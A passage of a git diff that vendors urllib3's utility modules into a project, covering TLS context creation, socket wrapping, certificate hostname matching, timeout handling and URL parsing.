SSLv3, and compression + - Sets a restricted set of server ciphers + + If you wish to enable SSLv3, you can do:: + + from urllib3.util import ssl_ + context = ssl_.create_urllib3_context() + context.options &= ~ssl_.OP_NO_SSLv3 + + You can do the same to enable compression (substituting ``COMPRESSION`` + for ``SSLv3`` in the last line above). + + :param ssl_version: + The desired protocol version to use. This will default to + PROTOCOL_SSLv23 which will negotiate the highest protocol that both + the server and your installation of OpenSSL support. + :param cert_reqs: + Whether to require the certificate verification. This defaults to + ``ssl.CERT_REQUIRED``. + :param options: + Specific OpenSSL options. These default to ``ssl.OP_NO_SSLv2``, + ``ssl.OP_NO_SSLv3``, ``ssl.OP_NO_COMPRESSION``, and ``ssl.OP_NO_TICKET``. + :param ciphers: + Which cipher suites to allow the server to select. + :returns: + Constructed SSLContext object with specified options + :rtype: SSLContext + """ + # PROTOCOL_TLS is deprecated in Python 3.10 + if not ssl_version or ssl_version == PROTOCOL_TLS: + ssl_version = PROTOCOL_TLS_CLIENT + + context = SSLContext(ssl_version) + + context.set_ciphers(ciphers or DEFAULT_CIPHERS) + + # Setting the default here, as we may have no ssl module on import + cert_reqs = ssl.CERT_REQUIRED if cert_reqs is None else cert_reqs + + if options is None: + options = 0 + # SSLv2 is easily broken and is considered harmful and dangerous + options |= OP_NO_SSLv2 + # SSLv3 has several problems and is now dangerous + options |= OP_NO_SSLv3 + # Disable compression to prevent CRIME attacks for OpenSSL 1.0+ + # (issue #309) + options |= OP_NO_COMPRESSION + # TLSv1.2 only. Unless set explicitly, do not request tickets. + # This may save some bandwidth on wire, and although the ticket is encrypted, + # there is a risk associated with it being on wire, + # if the server is not rotating its ticketing keys properly. + options |= OP_NO_TICKET + + context.options |= options + + # Enable post-handshake authentication for TLS 1.3, see GH #1634. PHA is + # necessary for conditional client cert authentication with TLS 1.3. + # The attribute is None for OpenSSL <= 1.1.0 or does not exist in older + # versions of Python. We only enable on Python 3.7.4+ or if certificate + # verification is enabled to work around Python issue #37428 + # See: https://bugs.python.org/issue37428 + if (cert_reqs == ssl.CERT_REQUIRED or sys.version_info >= (3, 7, 4)) and getattr( + context, "post_handshake_auth", None + ) is not None: + context.post_handshake_auth = True + + def disable_check_hostname(): + if ( + getattr(context, "check_hostname", None) is not None + ): # Platform-specific: Python 3.2 + # We do our own verification, including fingerprints and alternative + # hostnames. So disable it here + context.check_hostname = False + + # The order of the below lines setting verify_mode and check_hostname + # matter due to safe-guards SSLContext has to prevent an SSLContext with + # check_hostname=True, verify_mode=NONE/OPTIONAL. This is made even more + # complex because we don't know whether PROTOCOL_TLS_CLIENT will be used + # or not so we don't know the initial state of the freshly created SSLContext. + if cert_reqs == ssl.CERT_REQUIRED: + context.verify_mode = cert_reqs + disable_check_hostname() + else: + disable_check_hostname() + context.verify_mode = cert_reqs + + # Enable logging of TLS session keys via defacto standard environment variable + # 'SSLKEYLOGFILE', if the feature is available (Python 3.8+). Skip empty values. + if hasattr(context, "keylog_filename"): + sslkeylogfile = os.environ.get("SSLKEYLOGFILE") + if sslkeylogfile: + context.keylog_filename = sslkeylogfile + + return context + + +def ssl_wrap_socket( + sock, + keyfile=None, + certfile=None, + cert_reqs=None, + ca_certs=None, + server_hostname=None, + ssl_version=None, + ciphers=None, + ssl_context=None, + ca_cert_dir=None, + key_password=None, + ca_cert_data=None, + tls_in_tls=False, +): + """ + All arguments except for server_hostname, ssl_context, and ca_cert_dir have + the same meaning as they do when using :func:`ssl.wrap_socket`. + + :param server_hostname: + When SNI is supported, the expected hostname of the certificate + :param ssl_context: + A pre-made :class:`SSLContext` object. If none is provided, one will + be created using :func:`create_urllib3_context`. + :param ciphers: + A string of ciphers we wish the client to support. + :param ca_cert_dir: + A directory containing CA certificates in multiple separate files, as + supported by OpenSSL's -CApath flag or the capath argument to + SSLContext.load_verify_locations(). + :param key_password: + Optional password if the keyfile is encrypted. + :param ca_cert_data: + Optional string containing CA certificates in PEM format suitable for + passing as the cadata parameter to SSLContext.load_verify_locations() + :param tls_in_tls: + Use SSLTransport to wrap the existing socket. + """ + context = ssl_context + if context is None: + # Note: This branch of code and all the variables in it are no longer + # used by urllib3 itself. We should consider deprecating and removing + # this code. + context = create_urllib3_context(ssl_version, cert_reqs, ciphers=ciphers) + + if ca_certs or ca_cert_dir or ca_cert_data: + try: + context.load_verify_locations(ca_certs, ca_cert_dir, ca_cert_data) + except (IOError, OSError) as e: + raise SSLError(e) + + elif ssl_context is None and hasattr(context, "load_default_certs"): + # try to load OS default certs; works well on Windows (require Python3.4+) + context.load_default_certs() + + # Attempt to detect if we get the goofy behavior of the + # keyfile being encrypted and OpenSSL asking for the + # passphrase via the terminal and instead error out. + if keyfile and key_password is None and _is_key_file_encrypted(keyfile): + raise SSLError("Client private key is encrypted, password is required") + + if certfile: + if key_password is None: + context.load_cert_chain(certfile, keyfile) + else: + context.load_cert_chain(certfile, keyfile, key_password) + + try: + if hasattr(context, "set_alpn_protocols"): + context.set_alpn_protocols(ALPN_PROTOCOLS) + except NotImplementedError: # Defensive: in CI, we always have set_alpn_protocols + pass + + # If we detect server_hostname is an IP address then the SNI + # extension should not be used according to RFC3546 Section 3.1 + use_sni_hostname = server_hostname and not is_ipaddress(server_hostname) + # SecureTransport uses server_hostname in certificate verification. + send_sni = (use_sni_hostname and HAS_SNI) or ( + IS_SECURETRANSPORT and server_hostname + ) + # Do not warn the user if server_hostname is an invalid SNI hostname. + if not HAS_SNI and use_sni_hostname: + warnings.warn( + "An HTTPS request has been made, but the SNI (Server Name " + "Indication) extension to TLS is not available on this platform. " + "This may cause the server to present an incorrect TLS " + "certificate, which can cause validation failures. You can upgrade to " + "a newer version of Python to solve this. For more information, see " + "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" + "#ssl-warnings", + SNIMissingWarning, + ) + + if send_sni: + ssl_sock = _ssl_wrap_socket_impl( + sock, context, tls_in_tls, server_hostname=server_hostname + ) + else: + ssl_sock = _ssl_wrap_socket_impl(sock, context, tls_in_tls) + return ssl_sock + + +def is_ipaddress(hostname): + """Detects whether the hostname given is an IPv4 or IPv6 address. + Also detects IPv6 addresses with Zone IDs. + + :param str hostname: Hostname to examine. + :return: True if the hostname is an IP address, False otherwise. + """ + if not six.PY2 and isinstance(hostname, bytes): + # IDN A-label bytes are ASCII compatible. + hostname = hostname.decode("ascii") + return bool(IPV4_RE.match(hostname) or BRACELESS_IPV6_ADDRZ_RE.match(hostname)) + + +def _is_key_file_encrypted(key_file): + """Detects if a key file is encrypted or not.""" + with open(key_file, "r") as f: + for line in f: + # Look for Proc-Type: 4,ENCRYPTED + if "ENCRYPTED" in line: + return True + + return False + + +def _ssl_wrap_socket_impl(sock, ssl_context, tls_in_tls, server_hostname=None): + if tls_in_tls: + if not SSLTransport: + # Import error, ssl is not available. + raise ProxySchemeUnsupported( + "TLS in TLS requires support for the 'ssl' module" + ) + + SSLTransport._validate_ssl_context_for_tls_in_tls(ssl_context) + return SSLTransport(sock, ssl_context, server_hostname) + + if server_hostname: + return ssl_context.wrap_socket(sock, server_hostname=server_hostname) + else: + return ssl_context.wrap_socket(sock) diff --git a/function/http/package/urllib3/util/ssl_match_hostname.py b/function/http/package/urllib3/util/ssl_match_hostname.py new file mode 100644 index 0000000..1dd950c --- /dev/null +++ b/function/http/package/urllib3/util/ssl_match_hostname.py @@ -0,0 +1,159 @@ +"""The match_hostname() function from Python 3.3.3, essential when using SSL.""" + +# Note: This file is under the PSF license as the code comes from the python +# stdlib. http://docs.python.org/3/license.html + +import re +import sys + +# ipaddress has been backported to 2.6+ in pypi. If it is installed on the +# system, use it to handle IPAddress ServerAltnames (this was added in +# python-3.5) otherwise only do DNS matching. This allows +# util.ssl_match_hostname to continue to be used in Python 2.7. +try: + import ipaddress +except ImportError: + ipaddress = None + +__version__ = "3.5.0.1" + + +class CertificateError(ValueError): + pass + + +def _dnsname_match(dn, hostname, max_wildcards=1): + """Matching according to RFC 6125, section 6.4.3 + + http://tools.ietf.org/html/rfc6125#section-6.4.3 + """ + pats = [] + if not dn: + return False + + # Ported from python3-syntax: + # leftmost, *remainder = dn.split(r'.') + parts = dn.split(r".") + leftmost = parts[0] + remainder = parts[1:] + + wildcards = leftmost.count("*") + if wildcards > max_wildcards: + # Issue #17980: avoid denials of service by refusing more + # than one wildcard per fragment. A survey of established + # policy among SSL implementations showed it to be a + # reasonable choice. + raise CertificateError( + "too many wildcards in certificate DNS name: " + repr(dn) + ) + + # speed up common case w/o wildcards + if not wildcards: + return dn.lower() == hostname.lower() + + # RFC 6125, section 6.4.3, subitem 1. + # The client SHOULD NOT attempt to match a presented identifier in which + # the wildcard character comprises a label other than the left-most label. + if leftmost == "*": + # When '*' is a fragment by itself, it matches a non-empty dotless + # fragment. + pats.append("[^.]+") + elif leftmost.startswith("xn--") or hostname.startswith("xn--"): + # RFC 6125, section 6.4.3, subitem 3. + # The client SHOULD NOT attempt to match a presented identifier + # where the wildcard character is embedded within an A-label or + # U-label of an internationalized domain name. + pats.append(re.escape(leftmost)) + else: + # Otherwise, '*' matches any dotless string, e.g. www* + pats.append(re.escape(leftmost).replace(r"\*", "[^.]*")) + + # add the remaining fragments, ignore any wildcards + for frag in remainder: + pats.append(re.escape(frag)) + + pat = re.compile(r"\A" + r"\.".join(pats) + r"\Z", re.IGNORECASE) + return pat.match(hostname) + + +def _to_unicode(obj): + if isinstance(obj, str) and sys.version_info < (3,): + # ignored flake8 # F821 to support python 2.7 function + obj = unicode(obj, encoding="ascii", errors="strict") # noqa: F821 + return obj + + +def _ipaddress_match(ipname, host_ip): + """Exact matching of IP addresses. + + RFC 6125 explicitly doesn't define an algorithm for this + (section 1.7.2 - "Out of Scope"). + """ + # OpenSSL may add a trailing newline to a subjectAltName's IP address + # Divergence from upstream: ipaddress can't handle byte str + ip = ipaddress.ip_address(_to_unicode(ipname).rstrip()) + return ip == host_ip + + +def match_hostname(cert, hostname): + """Verify that *cert* (in decoded format as returned by + SSLSocket.getpeercert()) matches the *hostname*. RFC 2818 and RFC 6125 + rules are followed, but IP addresses are not accepted for *hostname*. + + CertificateError is raised on failure. On success, the function + returns nothing. + """ + if not cert: + raise ValueError( + "empty or no certificate, match_hostname needs a " + "SSL socket or SSL context with either " + "CERT_OPTIONAL or CERT_REQUIRED" + ) + try: + # Divergence from upstream: ipaddress can't handle byte str + host_ip = ipaddress.ip_address(_to_unicode(hostname)) + except (UnicodeError, ValueError): + # ValueError: Not an IP address (common case) + # UnicodeError: Divergence from upstream: Have to deal with ipaddress not taking + # byte strings. addresses should be all ascii, so we consider it not + # an ipaddress in this case + host_ip = None + except AttributeError: + # Divergence from upstream: Make ipaddress library optional + if ipaddress is None: + host_ip = None + else: # Defensive + raise + dnsnames = [] + san = cert.get("subjectAltName", ()) + for key, value in san: + if key == "DNS": + if host_ip is None and _dnsname_match(value, hostname): + return + dnsnames.append(value) + elif key == "IP Address": + if host_ip is not None and _ipaddress_match(value, host_ip): + return + dnsnames.append(value) + if not dnsnames: + # The subject is only checked when there is no dNSName entry + # in subjectAltName + for sub in cert.get("subject", ()): + for key, value in sub: + # XXX according to RFC 2818, the most specific Common Name + # must be used. + if key == "commonName": + if _dnsname_match(value, hostname): + return + dnsnames.append(value) + if len(dnsnames) > 1: + raise CertificateError( + "hostname %r " + "doesn't match either of %s" % (hostname, ", ".join(map(repr, dnsnames))) + ) + elif len(dnsnames) == 1: + raise CertificateError("hostname %r doesn't match %r" % (hostname, dnsnames[0])) + else: + raise CertificateError( + "no appropriate commonName or subjectAltName fields were found" + ) diff --git a/function/http/package/urllib3/util/ssltransport.py b/function/http/package/urllib3/util/ssltransport.py new file mode 100644 index 0000000..4a7105d --- /dev/null +++ b/function/http/package/urllib3/util/ssltransport.py @@ -0,0 +1,221 @@ +import io +import socket +import ssl + +from ..exceptions import ProxySchemeUnsupported +from ..packages import six + +SSL_BLOCKSIZE = 16384 + + +class SSLTransport: + """ + The SSLTransport wraps an existing socket and establishes an SSL connection. + + Contrary to Python's implementation of SSLSocket, it allows you to chain + multiple TLS connections together. It's particularly useful if you need to + implement TLS within TLS. + + The class supports most of the socket API operations. + """ + + @staticmethod + def _validate_ssl_context_for_tls_in_tls(ssl_context): + """ + Raises a ProxySchemeUnsupported if the provided ssl_context can't be used + for TLS in TLS. + + The only requirement is that the ssl_context provides the 'wrap_bio' + methods. + """ + + if not hasattr(ssl_context, "wrap_bio"): + if six.PY2: + raise ProxySchemeUnsupported( + "TLS in TLS requires SSLContext.wrap_bio() which isn't " + "supported on Python 2" + ) + else: + raise ProxySchemeUnsupported( + "TLS in TLS requires SSLContext.wrap_bio() which isn't " + "available on non-native SSLContext" + ) + + def __init__( + self, socket, ssl_context, server_hostname=None, suppress_ragged_eofs=True + ): + """ + Create an SSLTransport around socket using the provided ssl_context. + """ + self.incoming = ssl.MemoryBIO() + self.outgoing = ssl.MemoryBIO() + + self.suppress_ragged_eofs = suppress_ragged_eofs + self.socket = socket + + self.sslobj = ssl_context.wrap_bio( + self.incoming, self.outgoing, server_hostname=server_hostname + ) + + # Perform initial handshake. + self._ssl_io_loop(self.sslobj.do_handshake) + + def __enter__(self): + return self + + def __exit__(self, *_): + self.close() + + def fileno(self): + return self.socket.fileno() + + def read(self, len=1024, buffer=None): + return self._wrap_ssl_read(len, buffer) + + def recv(self, len=1024, flags=0): + if flags != 0: + raise ValueError("non-zero flags not allowed in calls to recv") + return self._wrap_ssl_read(len) + + def recv_into(self, buffer, nbytes=None, flags=0): + if flags != 0: + raise ValueError("non-zero flags not allowed in calls to recv_into") + if buffer and (nbytes is None): + nbytes = len(buffer) + elif nbytes is None: + nbytes = 1024 + return self.read(nbytes, buffer) + + def sendall(self, data, flags=0): + if flags != 0: + raise ValueError("non-zero flags not allowed in calls to sendall") + count = 0 + with memoryview(data) as view, view.cast("B") as byte_view: + amount = len(byte_view) + while count < amount: + v = self.send(byte_view[count:]) + count += v + + def send(self, data, flags=0): + if flags != 0: + raise ValueError("non-zero flags not allowed in calls to send") + response = self._ssl_io_loop(self.sslobj.write, data) + return response + + def makefile( + self, mode="r", buffering=None, encoding=None, errors=None, newline=None + ): + """ + Python's httpclient uses makefile and buffered io when reading HTTP + messages and we need to support it. + + This is unfortunately a copy and paste of socket.py makefile with small + changes to point to the socket directly. + """ + if not set(mode) <= {"r", "w", "b"}: + raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)) + + writing = "w" in mode + reading = "r" in mode or not writing + assert reading or writing + binary = "b" in mode + rawmode = "" + if reading: + rawmode += "r" + if writing: + rawmode += "w" + raw = socket.SocketIO(self, rawmode) + self.socket._io_refs += 1 + if buffering is None: + buffering = -1 + if buffering < 0: + buffering = io.DEFAULT_BUFFER_SIZE + if buffering == 0: + if not binary: + raise ValueError("unbuffered streams must be binary") + return raw + if reading and writing: + buffer = io.BufferedRWPair(raw, raw, buffering) + elif reading: + buffer = io.BufferedReader(raw, buffering) + else: + assert writing + buffer = io.BufferedWriter(raw, buffering) + if binary: + return buffer + text = io.TextIOWrapper(buffer, encoding, errors, newline) + text.mode = mode + return text + + def unwrap(self): + self._ssl_io_loop(self.sslobj.unwrap) + + def close(self): + self.socket.close() + + def getpeercert(self, binary_form=False): + return self.sslobj.getpeercert(binary_form) + + def version(self): + return self.sslobj.version() + + def cipher(self): + return self.sslobj.cipher() + + def selected_alpn_protocol(self): + return self.sslobj.selected_alpn_protocol() + + def selected_npn_protocol(self): + return self.sslobj.selected_npn_protocol() + + def shared_ciphers(self): + return self.sslobj.shared_ciphers() + + def compression(self): + return self.sslobj.compression() + + def settimeout(self, value): + self.socket.settimeout(value) + + def gettimeout(self): + return self.socket.gettimeout() + + def _decref_socketios(self): + self.socket._decref_socketios() + + def _wrap_ssl_read(self, len, buffer=None): + try: + return self._ssl_io_loop(self.sslobj.read, len, buffer) + except ssl.SSLError as e: + if e.errno == ssl.SSL_ERROR_EOF and self.suppress_ragged_eofs: + return 0 # eof, return 0. + else: + raise + + def _ssl_io_loop(self, func, *args): + """Performs an I/O loop between incoming/outgoing and the socket.""" + should_loop = True + ret = None + + while should_loop: + errno = None + try: + ret = func(*args) + except ssl.SSLError as e: + if e.errno not in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE): + # WANT_READ, and WANT_WRITE are expected, others are not. + raise e + errno = e.errno + + buf = self.outgoing.read() + self.socket.sendall(buf) + + if errno is None: + should_loop = False + elif errno == ssl.SSL_ERROR_WANT_READ: + buf = self.socket.recv(SSL_BLOCKSIZE) + if buf: + self.incoming.write(buf) + else: + self.incoming.write_eof() + return ret diff --git a/function/http/package/urllib3/util/timeout.py b/function/http/package/urllib3/util/timeout.py new file mode 100644 index 0000000..ff69593 --- /dev/null +++ b/function/http/package/urllib3/util/timeout.py @@ -0,0 +1,268 @@ +from __future__ import absolute_import + +import time + +# The default socket timeout, used by httplib to indicate that no timeout was +# specified by the user +from socket import _GLOBAL_DEFAULT_TIMEOUT + +from ..exceptions import TimeoutStateError + +# A sentinel value to indicate that no timeout was specified by the user in +# urllib3 +_Default = object() + + +# Use time.monotonic if available. +current_time = getattr(time, "monotonic", time.time) + + +class Timeout(object): + """Timeout configuration. + + Timeouts can be defined as a default for a pool: + + .. code-block:: python + + timeout = Timeout(connect=2.0, read=7.0) + http = PoolManager(timeout=timeout) + response = http.request('GET', 'http://example.com/') + + Or per-request (which overrides the default for the pool): + + .. code-block:: python + + response = http.request('GET', 'http://example.com/', timeout=Timeout(10)) + + Timeouts can be disabled by setting all the parameters to ``None``: + + .. code-block:: python + + no_timeout = Timeout(connect=None, read=None) + response = http.request('GET', 'http://example.com/, timeout=no_timeout) + + + :param total: + This combines the connect and read timeouts into one; the read timeout + will be set to the time leftover from the connect attempt. In the + event that both a connect timeout and a total are specified, or a read + timeout and a total are specified, the shorter timeout will be applied. + + Defaults to None. + + :type total: int, float, or None + + :param connect: + The maximum amount of time (in seconds) to wait for a connection + attempt to a server to succeed. Omitting the parameter will default the + connect timeout to the system default, probably `the global default + timeout in socket.py + `_. + None will set an infinite timeout for connection attempts. + + :type connect: int, float, or None + + :param read: + The maximum amount of time (in seconds) to wait between consecutive + read operations for a response from the server. Omitting the parameter + will default the read timeout to the system default, probably `the + global default timeout in socket.py + `_. + None will set an infinite timeout. + + :type read: int, float, or None + + .. note:: + + Many factors can affect the total amount of time for urllib3 to return + an HTTP response. + + For example, Python's DNS resolver does not obey the timeout specified + on the socket. Other factors that can affect total request time include + high CPU load, high swap, the program running at a low priority level, + or other behaviors. + + In addition, the read and total timeouts only measure the time between + read operations on the socket connecting the client and the server, + not the total amount of time for the request to return a complete + response. For most requests, the timeout is raised because the server + has not sent the first byte in the specified time. This is not always + the case; if a server streams one byte every fifteen seconds, a timeout + of 20 seconds will not trigger, even though the request will take + several minutes to complete. + + If your goal is to cut off any request after a set amount of wall clock + time, consider having a second "watcher" thread to cut off a slow + request. + """ + + #: A sentinel object representing the default timeout value + DEFAULT_TIMEOUT = _GLOBAL_DEFAULT_TIMEOUT + + def __init__(self, total=None, connect=_Default, read=_Default): + self._connect = self._validate_timeout(connect, "connect") + self._read = self._validate_timeout(read, "read") + self.total = self._validate_timeout(total, "total") + self._start_connect = None + + def __repr__(self): + return "%s(connect=%r, read=%r, total=%r)" % ( + type(self).__name__, + self._connect, + self._read, + self.total, + ) + + # __str__ provided for backwards compatibility + __str__ = __repr__ + + @classmethod + def _validate_timeout(cls, value, name): + """Check that a timeout attribute is valid. + + :param value: The timeout value to validate + :param name: The name of the timeout attribute to validate. This is + used to specify in error messages. + :return: The validated and casted version of the given value. + :raises ValueError: If it is a numeric value less than or equal to + zero, or the type is not an integer, float, or None. + """ + if value is _Default: + return cls.DEFAULT_TIMEOUT + + if value is None or value is cls.DEFAULT_TIMEOUT: + return value + + if isinstance(value, bool): + raise ValueError( + "Timeout cannot be a boolean value. It must " + "be an int, float or None." + ) + try: + float(value) + except (TypeError, ValueError): + raise ValueError( + "Timeout value %s was %s, but it must be an " + "int, float or None." % (name, value) + ) + + try: + if value <= 0: + raise ValueError( + "Attempted to set %s timeout to %s, but the " + "timeout cannot be set to a value less " + "than or equal to 0." % (name, value) + ) + except TypeError: + # Python 3 + raise ValueError( + "Timeout value %s was %s, but it must be an " + "int, float or None." % (name, value) + ) + + return value + + @classmethod + def from_float(cls, timeout): + """Create a new Timeout from a legacy timeout value. + + The timeout value used by httplib.py sets the same timeout on the + connect(), and recv() socket requests. This creates a :class:`Timeout` + object that sets the individual timeouts to the ``timeout`` value + passed to this function. + + :param timeout: The legacy timeout value. + :type timeout: integer, float, sentinel default object, or None + :return: Timeout object + :rtype: :class:`Timeout` + """ + return Timeout(read=timeout, connect=timeout) + + def clone(self): + """Create a copy of the timeout object + + Timeout properties are stored per-pool but each request needs a fresh + Timeout object to ensure each one has its own start/stop configured. + + :return: a copy of the timeout object + :rtype: :class:`Timeout` + """ + # We can't use copy.deepcopy because that will also create a new object + # for _GLOBAL_DEFAULT_TIMEOUT, which socket.py uses as a sentinel to + # detect the user default. + return Timeout(connect=self._connect, read=self._read, total=self.total) + + def start_connect(self): + """Start the timeout clock, used during a connect() attempt + + :raises urllib3.exceptions.TimeoutStateError: if you attempt + to start a timer that has been started already. + """ + if self._start_connect is not None: + raise TimeoutStateError("Timeout timer has already been started.") + self._start_connect = current_time() + return self._start_connect + + def get_connect_duration(self): + """Gets the time elapsed since the call to :meth:`start_connect`. + + :return: Elapsed time in seconds. + :rtype: float + :raises urllib3.exceptions.TimeoutStateError: if you attempt + to get duration for a timer that hasn't been started. + """ + if self._start_connect is None: + raise TimeoutStateError( + "Can't get connect duration for timer that has not started." + ) + return current_time() - self._start_connect + + @property + def connect_timeout(self): + """Get the value to use when setting a connection timeout. + + This will be a positive float or integer, the value None + (never timeout), or the default system timeout. + + :return: Connect timeout. + :rtype: int, float, :attr:`Timeout.DEFAULT_TIMEOUT` or None + """ + if self.total is None: + return self._connect + + if self._connect is None or self._connect is self.DEFAULT_TIMEOUT: + return self.total + + return min(self._connect, self.total) + + @property + def read_timeout(self): + """Get the value for the read timeout. + + This assumes some time has elapsed in the connection timeout and + computes the read timeout appropriately. + + If self.total is set, the read timeout is dependent on the amount of + time taken by the connect timeout. If the connection time has not been + established, a :exc:`~urllib3.exceptions.TimeoutStateError` will be + raised. + + :return: Value to use for the read timeout. + :rtype: int, float, :attr:`Timeout.DEFAULT_TIMEOUT` or None + :raises urllib3.exceptions.TimeoutStateError: If :meth:`start_connect` + has not yet been called on this object. + """ + if ( + self.total is not None + and self.total is not self.DEFAULT_TIMEOUT + and self._read is not None + and self._read is not self.DEFAULT_TIMEOUT + ): + # In case the connect timeout has not yet been established. + if self._start_connect is None: + return self._read + return max(0, min(self.total - self.get_connect_duration(), self._read)) + elif self.total is not None and self.total is not self.DEFAULT_TIMEOUT: + return max(0, self.total - self.get_connect_duration()) + else: + return self._read diff --git a/function/http/package/urllib3/util/url.py b/function/http/package/urllib3/util/url.py new file mode 100644 index 0000000..94f1b8d --- /dev/null +++ b/function/http/package/urllib3/util/url.py @@ -0,0 +1,435 @@ +from __future__ import absolute_import + +import re +from collections import namedtuple + +from ..exceptions import LocationParseError +from ..packages import six + +url_attrs = ["scheme", "auth", "host", "port", "path", "query", "fragment"] + +# We only want to normalize urls with an HTTP(S) scheme. +# urllib3 infers URLs without a scheme (None) to be http. +NORMALIZABLE_SCHEMES = ("http", "https", None) + +# Almost all of these patterns were derived from the +# 'rfc3986' module: https://github.com/python-hyper/rfc3986 +PERCENT_RE = re.compile(r"%[a-fA-F0-9]{2}") +SCHEME_RE = re.compile(r"^(?:[a-zA-Z][a-zA-Z0-9+-]*:|/)") +URI_RE = re.compile( + r"^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?" + r"(?://([^\\/?#]*))?" + r"([^?#]*)" + r"(?:\?([^#]*))?" + r"(?:#(.*))?$", + re.UNICODE | re.DOTALL, +) + +IPV4_PAT = r"(?:[0-9]{1,3}\.){3}[0-9]{1,3}" +HEX_PAT = "[0-9A-Fa-f]{1,4}" +LS32_PAT = "(?:{hex}:{hex}|{ipv4})".format(hex=HEX_PAT, ipv4=IPV4_PAT) +_subs = {"hex": HEX_PAT, "ls32": LS32_PAT} +_variations = [ + # 6( h16 ":" ) ls32 + "(?:%(hex)s:){6}%(ls32)s", + # "::" 5( h16 ":" ) ls32 + "::(?:%(hex)s:){5}%(ls32)s", + # [ h16 ] "::" 4( h16 ":" ) ls32 + "(?:%(hex)s)?::(?:%(hex)s:){4}%(ls32)s", + # [ *1( h16 ":" ) h16 ] "::" 3( h16 ":" ) ls32 + "(?:(?:%(hex)s:)?%(hex)s)?::(?:%(hex)s:){3}%(ls32)s", + # [ *2( h16 ":" ) h16 ] "::" 2( h16 ":" ) ls32 + "(?:(?:%(hex)s:){0,2}%(hex)s)?::(?:%(hex)s:){2}%(ls32)s", + # [ *3( h16 ":" ) h16 ] "::" h16 ":" ls32 + "(?:(?:%(hex)s:){0,3}%(hex)s)?::%(hex)s:%(ls32)s", + # [ *4( h16 ":" ) h16 ] "::" ls32 + "(?:(?:%(hex)s:){0,4}%(hex)s)?::%(ls32)s", + # [ *5( h16 ":" ) h16 ] "::" h16 + "(?:(?:%(hex)s:){0,5}%(hex)s)?::%(hex)s", + # [ *6( h16 ":" ) h16 ] "::" + "(?:(?:%(hex)s:){0,6}%(hex)s)?::", +] + +UNRESERVED_PAT = r"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._!\-~" +IPV6_PAT = "(?:" + "|".join([x % _subs for x in _variations]) + ")" +ZONE_ID_PAT = "(?:%25|%)(?:[" + UNRESERVED_PAT + "]|%[a-fA-F0-9]{2})+" +IPV6_ADDRZ_PAT = r"\[" + IPV6_PAT + r"(?:" + ZONE_ID_PAT + r")?\]" +REG_NAME_PAT = r"(?:[^\[\]%:/?#]|%[a-fA-F0-9]{2})*" +TARGET_RE = re.compile(r"^(/[^?#]*)(?:\?([^#]*))?(?:#.*)?$") + +IPV4_RE = re.compile("^" + IPV4_PAT + "$") +IPV6_RE = re.compile("^" + IPV6_PAT + "$") +IPV6_ADDRZ_RE = re.compile("^" + IPV6_ADDRZ_PAT + "$") +BRACELESS_IPV6_ADDRZ_RE = re.compile("^" + IPV6_ADDRZ_PAT[2:-2] + "$") +ZONE_ID_RE = re.compile("(" + ZONE_ID_PAT + r")\]$") + +_HOST_PORT_PAT = ("^(%s|%s|%s)(?::0*([0-9]{0,5}))?$") % ( + REG_NAME_PAT, + IPV4_PAT, + IPV6_ADDRZ_PAT, +) +_HOST_PORT_RE = re.compile(_HOST_PORT_PAT, re.UNICODE | re.DOTALL) + +UNRESERVED_CHARS = set( + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-~" +) +SUB_DELIM_CHARS = set("!$&'()*+,;=") +USERINFO_CHARS = UNRESERVED_CHARS | SUB_DELIM_CHARS | {":"} +PATH_CHARS = USERINFO_CHARS | {"@", "/"} +QUERY_CHARS = FRAGMENT_CHARS = PATH_CHARS | {"?"} + + +class Url(namedtuple("Url", url_attrs)): + """ + Data structure for representing an HTTP URL. Used as a return value for + :func:`parse_url`. Both the scheme and host are normalized as they are + both case-insensitive according to RFC 3986. + """ + + __slots__ = () + + def __new__( + cls, + scheme=None, + auth=None, + host=None, + port=None, + path=None, + query=None, + fragment=None, + ): + if path and not path.startswith("/"): + path = "/" + path + if scheme is not None: + scheme = scheme.lower() + return super(Url, cls).__new__( + cls, scheme, auth, host, port, path, query, fragment + ) + + @property + def hostname(self): + """For backwards-compatibility with urlparse. We're nice like that.""" + return self.host + + @property + def request_uri(self): + """Absolute path including the query string.""" + uri = self.path or "/" + + if self.query is not None: + uri += "?" + self.query + + return uri + + @property + def netloc(self): + """Network location including host and port""" + if self.port: + return "%s:%d" % (self.host, self.port) + return self.host + + @property + def url(self): + """ + Convert self into a url + + This function should more or less round-trip with :func:`.parse_url`. The + returned url may not be exactly the same as the url inputted to + :func:`.parse_url`, but it should be equivalent by the RFC (e.g., urls + with a blank port will have : removed). + + Example: :: + + >>> U = parse_url('http://google.com/mail/') + >>> U.url + 'http://google.com/mail/' + >>> Url('http', 'username:password', 'host.com', 80, + ... '/path', 'query', 'fragment').url + 'http://username:password@host.com:80/path?query#fragment' + """ + scheme, auth, host, port, path, query, fragment = self + url = u"" + + # We use "is not None" we want things to happen with empty strings (or 0 port) + if scheme is not None: + url += scheme + u"://" + if auth is not None: + url += auth + u"@" + if host is not None: + url += host + if port is not None: + url += u":" + str(port) + if path is not None: + url += path + if query is not None: + url += u"?" + query + if fragment is not None: + url += u"#" + fragment + + return url + + def __str__(self): + return self.url + + +def split_first(s, delims): + """ + .. deprecated:: 1.25 + + Given a string and an iterable of delimiters, split on the first found + delimiter. Return two split parts and the matched delimiter. + + If not found, then the first part is the full input string. + + Example:: + + >>> split_first('foo/bar?baz', '?/=') + ('foo', 'bar?baz', '/') + >>> split_first('foo/bar?baz', '123') + ('foo/bar?baz', '', None) + + Scales linearly with number of delims. Not ideal for large number of delims. + """ + min_idx = None + min_delim = None + for d in delims: + idx = s.find(d) + if idx < 0: + continue + + if min_idx is None or idx < min_idx: + min_idx = idx + min_delim = d + + if min_idx is None or min_idx < 0: + return s, "", None + + return s[:min_idx], s[min_idx + 1 :], min_delim + + +def _encode_invalid_chars(component, allowed_chars, encoding="utf-8"): + """Percent-encodes a URI component without reapplying + onto an already percent-encoded component. + """ + if component is None: + return component + + component = six.ensure_text(component) + + # Normalize existing percent-encoded bytes. + # Try to see if the component we're encoding is already percent-encoded + # so we can skip all '%' characters but still encode all others. + component, percent_encodings = PERCENT_RE.subn( + lambda match: match.group(0).upper(), component 